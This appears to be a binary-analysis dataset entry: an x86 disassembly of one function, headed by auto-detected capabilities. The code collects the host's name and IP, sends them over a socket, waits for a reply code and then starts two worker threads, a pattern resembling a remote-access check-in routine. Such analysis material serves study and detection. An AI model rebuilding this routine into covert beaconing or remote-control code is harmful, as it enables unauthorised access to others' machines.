Function at 0x4033f0
Capabilities:
Create thread
Get hostname
Get socket status
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration
Terminate thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x58c28b
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1990
call fcn.00562d70
mov eax, dword [0x5f0e24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1990], ecx
lea ecx, [ebp - 0x1980]
mov dword [0x5fa530], 1
mov dword [0x5fa528], 0
call fcn.00408a60
lea ecx, [ebp - 0x1994]
mov dword [ebp - 4], 0
call fcn.00408b40
push 0x7ff
lea eax, [ebp - 0x847]
mov byte [ebp - 4], 1
push 0
push eax
call fcn.005640c0
lea edi, [ebp - 0x848]
mov byte [ebp - 0x848], 0x31
add esp, 0xc
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x403494
mov ax, word [0x5d076c]
lea ecx, [ebp - 0x848]
mov word [edi], ax
dec ecx
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4034b0
mov eax, dword [0x5d0770]
mov dword [ecx], eax
mov eax, dword [0x5d0774]
mov dword [ecx + 4], eax
mov al, byte [0x5d0778]
push 0x31
mov byte [ecx + 8], al
lea eax, [ebp - 0x48]
push 0
push eax
call fcn.005640c0
add esp, 0xc
lea esi, [ebp - 0x44]
xor edi, edi
nop word [eax + eax]
lea ecx, [edi - 0x7ffffffe]
call fcn.00408a30
mov eax, dword [0x5fa55c]
lea esi, [esi + 0x10]
mov dword [esi - 0x14], eax
inc edi
mov eax, dword [0x5fa558]
mov dword [esi - 0x10], eax
mov eax, dword [0x5fa554]
mov dword [esi - 0xc], eax
mov eax, dword [0x5fa550]
mov dword [esi - 8], eax
cmp edi, 3
jb 0x4034f0
xorps xmm0, xmm0
mov dword [ebp - 0x850], 0
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x84c], 0
movups xmmword [ebp - 0x860], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403548
sub ecx, edx
lea eax, [ebp - 0x48]
push ecx
push eax
lea ecx, [ebp - 0x860]
call fcn.00408660
cmp dword [ebp - 0x84c], 0x10
lea edx, [ebp - 0x860]
cmovae edx, dword [ebp - 0x860]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403577
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403587
mov eax, dword [ebp - 0x84c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp eax, 0x10
jb 0x4035d9
mov edx, dword [ebp - 0x860]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4035cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a17
push ecx
push edx
call fcn.00561e8b
add esp, 8
lea edi, [ebp - 0x848]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4035e0
mov ax, word [0x5d076c]
mov edx, dword [ebp - 0x1980]
mov esi, edx
mov word [edi], ax
nop dword [eax + eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x403600
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403610
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x848]
dec edi
nop dword [eax]
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x403630
mov edx, dword [ebp - 0x1994]
mov esi, edx
mov word [edi], ax
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x403645
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403655
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x848]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x403672
push 0x104
mov word [edi], ax
lea eax, [ebp - 0x968]
push 0
push eax
call fcn.005640c0
add esp, 0xc
lea eax, [ebp - 0x968]
push 0x104
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x968]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, eax
mov dword [ebp - 0x850], 0
mov ecx, edx
mov dword [ebp - 0x84c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x860], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4036e6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x860]
call fcn.00408660
cmp dword [ebp - 0x84c], 0x10
lea edx, [ebp - 0x860]
cmovae edx, dword [ebp - 0x860]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403712
lea edi, [ebp - 0x848]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403722
mov eax, dword [ebp - 0x84c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp eax, 0x10
jb 0x403774
mov edx, dword [ebp - 0x860]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40376a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a17
push ecx
push edx
call fcn.00561e8b
add esp, 8
push 0x800
lea eax, [ebp - 0x116c]
push 0
push eax
call fcn.005640c0
add esp, 0xc
mov dword [ebp - 0x1170], 1
xor ecx, ecx
mov al, byte [ebp + ecx - 0x848]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x116d], al
test al, al
jne 0x403796
push 0x804
lea eax, [ebp - 0x1978]
push 0
push eax
call fcn.005640c0
add esp, 0xc
mov dword [ebp - 0x198c], 0
cmp dword [0x5fa528], 0
jne 0x4038fc
mov esi, dword [sym.imp.WS2_32.dll_ioctlsocket]
nop
push 0
push 0x804
lea eax, [ebp - 0x1170]
push eax
push dword [0x5fa534]
call dword [sym.imp.WS2_32.dll_send]
mov edi, dword [0x5fa534]
lea eax, [ebp - 0x197c]
push eax
push 0x8004667e
push edi
mov dword [ebp - 0x197c], 1
call esi
mov dword [ebp - 0x964], edi
xor esi, esi
mov dword [ebp - 0x968], 1
mov dword [ebp - 0x199c], 3
mov dword [ebp - 0x1998], 0
nop
lea eax, [ebp - 0x199c]
push eax
push 0
push 0
lea eax, [ebp - 0x968]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4038b1
test eax, eax
je 0x403890
push 0
mov eax, 0x804
sub eax, esi
push eax
lea eax, [ebp - 0x1978]
add eax, esi
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x403890
test eax, eax
je 0x403890
add esi, eax
cmp esi, 0x804
jl 0x403840
mov esi, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea eax, [ebp - 0x197c]
push eax
push 0x8004667e
push edi
mov dword [ebp - 0x197c], 0
call esi
jmp 0x4038b7
mov esi, dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 0x1978], 0x1e
je 0x4038f2
mov eax, dword [ebp - 0x198c]
inc eax
mov dword [ebp - 0x198c], eax
cmp eax, 3
je 0x4038e1
cmp dword [0x5fa528], 0
je 0x4037e0
jmp 0x4038fc
push dword [0x5fa534]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x403997
mov dword [0x5fa528], 1
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402910
push 0
push 0
call esi
push 0
push 0
push 0
push 0x402890
push 0
push 0
mov dword [ebp - 0x1988], eax
call esi
push 0xffffffffffffffff
mov dword [ebp - 0x1984], eax
lea eax, [ebp - 0x1988]
push 0
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp dword [0x5fa530], 0
je 0x403955
cmp dword [0x5fa52c], 0
jne 0x40396f
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x7b
push dword [ebp - 0x1988]
call esi
push 0x7b
push dword [ebp - 0x1984]
call esi
push dword [0x5fa534]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebp - 0x1988]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1984]
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1990]
mov ecx, eax
push dword [eax]
call fcn.00402740
mov byte [ebp - 4], 0
or esi, 0xffffffff
mov edx, dword [ebp - 0x1994]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4039d5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x1980]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x4039f7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00561e7d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.005673a5
int3